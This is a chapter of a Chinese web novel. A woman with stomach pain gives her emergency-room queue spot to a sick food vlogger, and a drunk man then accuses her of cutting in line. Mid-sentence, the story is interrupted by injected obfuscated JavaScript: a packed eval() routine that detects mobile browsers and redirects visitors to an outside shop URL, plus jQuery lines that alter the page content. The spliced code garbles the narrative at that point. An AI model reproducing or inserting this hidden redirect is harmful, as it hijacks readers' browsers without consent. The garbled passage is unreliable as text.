PPT切换到最后一页的时候,孟悠南心里划过一丝不对劲儿。
她没细琢磨,只一门心思盯着眼前需要修改的文字。
“感谢聆听”被批不过脑子,她低头想想,打了句“关山万千重山高人为峰”,又简单美化了排版。
可鼠标刚移上保存键,电脑里就传来了“吱吱”的卡顿声。
悠南微微皱眉,盯着屏幕上转动的圆圈,越想越纳闷:
六十多页的提案,三十页都在对比晚宴的风味和特色菜……这到底是大客户还是大吃货啊?
突然,一张刻薄灰白的脸从屏幕后探出来,红唇开合,嘴角陡尖:“慢又难,看看你做的这一坨垃——圾——”
掀翻屏幕的瞬间她也猛地睁了眼,心跳和呼吸都各乱各的,谁也不服谁!
她缓了一会儿才翻身,手机屏幕还亮着,87条未读消息,57条@提醒,后台还在实时刷新着收益。
“个、十、百、千、万……六万三。”
念念这个月的税后收入,也算给自己收惊了。
长舒一口气,虽然梦里改了一晚上PPT还没保存,但那都不是真的!
她也早就不是“慢又难”了!
嘴角无声上扬,她默默夸了自己一句:嘻嘻~~干得真不错哦,“哟梦”阿婆主!
只不过,死去两年的记忆搞突然袭击,后劲儿还是很大的。
胃里猛抽一下,她“嘶”一声,猫在被窝里没动。
几分钟之后,又“嘶”一声……
翻个身……又“嘶”一声!
怕再这样下去,变成吐信子的蛇,悠南扶着胃口从床上爬起来,麻利穿好了衣服。
手机搜索“单身女性急诊必备物品”,对照着准备齐全,她顺手从沙发上抓过一个包,却架着这个包眨了眨眼睛。
糖果红的纯色皮面,挂着一个珠光闪闪的亮黑色小马……是合作方寄来的新年赠礼!
限量定制款,小马的挂带上还打着她名字的字母缩写。
她本打算先应品牌方的暗示,让这款包包在下个视频里友情客串,所以一直没舍得背,但指尖点点小马,小马一跃飞到了身上:就你了!走起!
十分钟以后,在APP上呼叫的“大劳”专车稳稳停在嘉安市第一医院大门口,不远处,通往医院停车场的窄道上正排着长长的车队。
下车前,西装革履的司机还不忘打开男低音礼貌相送:“承蒙女王抬爱!祝您早日康复!”
悠南点头笑笑,心想这钱花得真值!自己开车指不定刚磨蹭到哪!
可三分钟后,她就一脸黑线地只剩“哎呦”了。
分诊台前的人一层又一层挤成了肉夹馍,缴费窗口排的队拐成了旋风薯塔,自助挂号机像一块块黑巧……
她不是饿了,只是经常忍不住回忆某些事物的味道。
喧闹的大厅里,有人在骂系统,有人在骂护士,有人在骂跨年夜怎么医院急诊还人山人海的!
悠南也叹了口气,自觉站到了队伍最后,好在速度没她想象中慢,也实在说不上多快。
慢悠悠喝着保温杯里的水,看了看手上的173号和前面排的大长队,她感觉胃里刚刚拿鞭子抽她的“小人”好像也累了。
疼痛渐渐减轻,悠南把头从手机上抬出来,漫无目的地环顾四周,犹豫要不要回家。
第一眼,她没看清,散漫扫走了目光。
下一秒,她整个人忽地定格,紧跟着身子一转、视线一跃,远望着身后的方向。
第二眼,她捂好口罩、双眼聚光,直接锁定了目标。
队尾旁的座椅上,坐着一个双手捂胃、脸色惨白的年轻人。
这不是……她那个素不相识、素未谋面的互联网“饭搭子”吗!
怎么了他,这么难受?要是他因病不能更新吃播视频,那她岂不是每顿饭又要“嚼蜡”……
短时内悲喜交加,悠南觉得自己胃里的小人都懂事地撤退了!
所以现在最要紧的是这个吃播弟弟的情况!
他也一个人来的?排那么靠后,一时半会儿可看不上大夫……
悠南正担心,就见吃播弟弟身后急匆匆跑过来一个人,刚站稳脚步就把保温杯托到弟弟的嘴边,眼睛紧盯着他,嘴上还说着“慢点”。
还好,有同伴,同伴看起来也挺可靠的。
心稍稍松,悠南又听见前面的人因为系统死机跟护士吵吵。
排队的人纷纷探身向窗口张望,只有悠南一个劲儿地向后瞧。
吃播弟弟疼得闭上眼了!
吃播弟弟佝偻下去了!
他同伴都急得叉腰了!
他同伴也开始往前溜达了!
为了不被发现,悠南假装左右张望,其实余光一路紧跟着小吃播的同伴,从队伍后一直跟到队伍前,又从队伍前跟回来。
她看见了他的徘徊和欲言又止,他想干什么,其实并不难猜。
擦肩而过的瞬间,那张可靠的侧脸映入眼底,悠南身子“刷”地回正,自己也说不清心在突突个什么劲儿。
深呼吸,按住起伏的胸口,眼望近在咫尺的柜台,悠南做了个不大不小的决定。
眼睛弯成月牙,再清清嗓子,倾身跟前后的人低语两句,她转身离开了自己的位置。
她尽量不去猜对方的反应,温感口罩忽快忽慢地变色,挡住了呼吸的不平稳,却挡不住她有些紧张的脚步和那双被热气熏得湿漉漉的眼睛。
小吃播的同伴很快发现了她。
四目相对,他先是自然地回避,但迟疑片刻就恢复了镇定淡然。
悠南见对方稳稳迎着她,甚至等她走到跟前时,还微笑递过来一个询问的眼神,心一下子落了地。
“孩子特别难受吧?我跟他换换?”悠南压低声音,指了指自己手里的173号,又指了指自己该在的位置。
对方先是面露惊喜,又立刻拒绝:“谢谢,不了,你不也是……”
悠南摆摆手打断:“我还好,没他急。”
对方低头看了一眼小吃播,带着十二分的感激递过自己手里的212号:“那好,太感谢了!我先把他扶到前面去。”
可是小吃播已经疼得没力气动弹,同伴几次抻他他都没能站起来。
悠南见状,大步走过去,弯腰架起小吃播的另一只胳膊,朝同伴点点头:“我帮你。”
只是没想到,小吃播看着清瘦,实际沉得像头牛!撑他没走两步,她胳膊连同大腿就酸得厉害!
另一边的同伴投来关心的目光:“还行吗?”
悠南摇摇头没说话,只一味往前迈步,其实是后槽牙都跟着使劲儿根本张不开嘴!
短短几步路,累得她汗都下来了。
弯下腰,手撑膝盖,只能等爬满四肢的酸劲儿慢慢退下去才挪得动步。
转过头,同伴正把小吃播安顿到不远处的座位上,悠南踏实地笑了。
“哎我说前面的,咋还插队啊!这没素质啊!”
身后冒出一句粗声粗气的质问,惹得整个大厅的人都转身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544401|204067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张望。
悠南笑容一僵,顿了片刻才试探着扭过头张望,结果,身子也跟着僵了……
一个膀大腰圆的中年大叔,正双手攥拳、眼露凶光地瞪着她。
悠南张了张嘴又卡住——刚才光顾着扛人,忘了自己手上捏着的是212号!
离她几步之遥的窗口正叫的,是169号!
可刚才“向后转起步走”那一段,已经耗尽了她全部的勇气,扛“人形沙袋”负重练习那一段,又耗尽了她所有的力气。
眼下的她,主打一个神形俱散,元气尽失!
苦瓜脸晃晃悠悠起身,悠南还是试着为自己解释:“不是,我没……”
“你没啥啊你没?你就是没!素!质!”
中年大叔也不等她说话,顶着一张紫红大脸气势汹汹地冲过来,厚厚的冬衣都挡不住他浑身上下散发的酒气。
“我眼看着你带人过来的!还不是什么不是!现在的年轻人忒没教养!少废话排队去!”
脑补一瞬自己和醉鬼吵架的画面,悠南只平静回答:“我没插队,我就是跟人……”
“少废话排队切!”
人群中乍起一声帮腔,又硬生生打断了她。
醉酒大叔见有人支持,更加咄咄逼人:“听见没!赶紧动!”
吼声硬得像个拳头,猛撞着悠南的耳膜,她下意识一缩,脚下却没有躲。
“请170号患者,到3号窗口缴费挂号!”
广播声再次响起,窗口前走了一个人,悠南身后便空出了一块。
她脑子里想的是先撤一步,和这位醉酒大叔拉开点距离再说话,但视觉效果却是:她倒退着又往前挪了个位置!
“嚯?还往前挤?妈的说不听了是吧!”
被踩到“尾巴”的大叔眨眼暴怒,抬手直奔她脖领,好在悠南刚才脑补到了这一层,早就想好了对策——
跑不了也打不过!干脆捂脸往地上一倒,先自保!
只不过刚到捂脸这一步,她耳边就响起一个冷静的声音:“别激动,她没插队,你误会了。”
慢慢眯开眼缝,眼前是一个宽厚的肩膀。
小吃播的同伴正在身前护着她。
头一点点歪出去,目光越过肩膀,悠南两眼蓦地放光!
同伴正按着醉酒大叔的两只手腕,一脸心平气和地对着那张紫脸笑。
两个大男人身形相差不大,两双手相握的姿势看着像哥俩好,但实际上是其中一个想撤撤不了!
“你撒开!插队还有理了!哎呦疼你先撒开!”大叔被捆住手气势渐弱,但嘴上始终不服,“你们好好排队我还至于这样?赶紧给我道歉滚后面呆着去!”
可同伴愣是一直没松手,还站得稳如青松,只笑着听大叔耍酒疯。
排了一晚上队的患者们大都烦气又无聊,不少人都主动围过来,眼里流露着对吃瓜的渴望。
瓜田中心的悠南受不住一个个摄像头的追踪,又把头慢慢缩回了肩膀后面,还默默把口罩堆到了眉毛。
“没少喝吧叔?我们就是这的号,哪也不去,劝你别再瞎嚷嚷了,不然换医院挂骨科急诊也挺麻烦的。”
同伴云淡风轻一句话,吃瓜群众纷纷睁大了眼睛,悠南是睁得最圆的那个!
他、他是在吓唬那醉鬼吗?这……人能服他?
她心下想着事情不大妙,刚要上前劝说,就听不远处传来急切的喊声:
“……哎?这急诊病号的家属呐?哪个带弟弟来看病的!赶紧过来看看啊!”